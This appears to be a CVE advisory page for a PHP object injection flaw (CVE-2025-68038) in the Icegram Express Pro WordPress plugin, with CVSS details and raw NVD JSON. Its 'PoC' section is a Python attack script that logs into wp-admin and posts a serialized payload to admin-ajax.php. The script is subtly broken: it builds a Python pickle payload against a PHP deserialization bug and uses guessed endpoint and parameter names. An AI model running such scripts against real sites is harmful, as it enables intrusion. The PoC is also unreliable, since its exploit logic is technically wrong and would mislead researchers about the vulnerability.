Security Vulnerability Report
中文
CVE-2025-68038 CVSS 7.2 HIGH

CVE-2025-68038

Published: 2025-12-24 13:16:20
Last Modified: 2026-04-27 19:16:23

Description

Deserialization of Untrusted Data vulnerability in Icegram Icegram Express Pro email-subscribers-premium allows Object Injection.This issue affects Icegram Express Pro: from n/a through < 5.9.14.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Icegram Express Pro < 5.9.14
Icegram Express (email-subscribers-premium) n/a through < 5.9.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68038 PoC - Icegram Express Pro PHP Object Injection # Note: Requires high-privilege WordPress account (admin access) import requests import hashlib target_url = "http://target-wordpress-site.com" username = "admin" password = "admin_password" # Start a session session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Generate malicious PHP object payload # This is a simplified example - actual exploitation requires finding # a suitable gadget chain in the plugin or WordPress core class EvilPayload: def __reduce__(self): # Example: Execute system command via eval (for demonstration) cmd = "whoami > /tmp/pwned.txt" return (eval, (cmd,)) import pickle import base64 # Serialize the malicious object malicious_payload = base64.b64encode(pickle.dumps(EvilPayload())).decode() # Step 3: Send the payload to the vulnerable endpoint # The exact endpoint depends on the plugin version and configuration vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Example action - actual exploitation requires identifying the correct parameter post_data = { "action": "icegram_express_ajax_action", "icegram_data": malicious_payload, "nonce": "attackers_nonce_if_available" } # Send the malicious request response = session.post(vulnerable_endpoint, data=post_data, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC is for educational purposes only. Actual exploitation # requires identifying the specific vulnerable function and gadget chain.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68038", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:19.807", "lastModified": "2026-04-27T19:16:23.060", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Icegram Icegram Express Pro email-subscribers-premium allows Object Injection.This issue affects Icegram Express Pro: from n/a through < 5.9.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/email-subscribers-premium/vulnerability/wordpress-icegram-express-pro-plugin-5-9-11-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}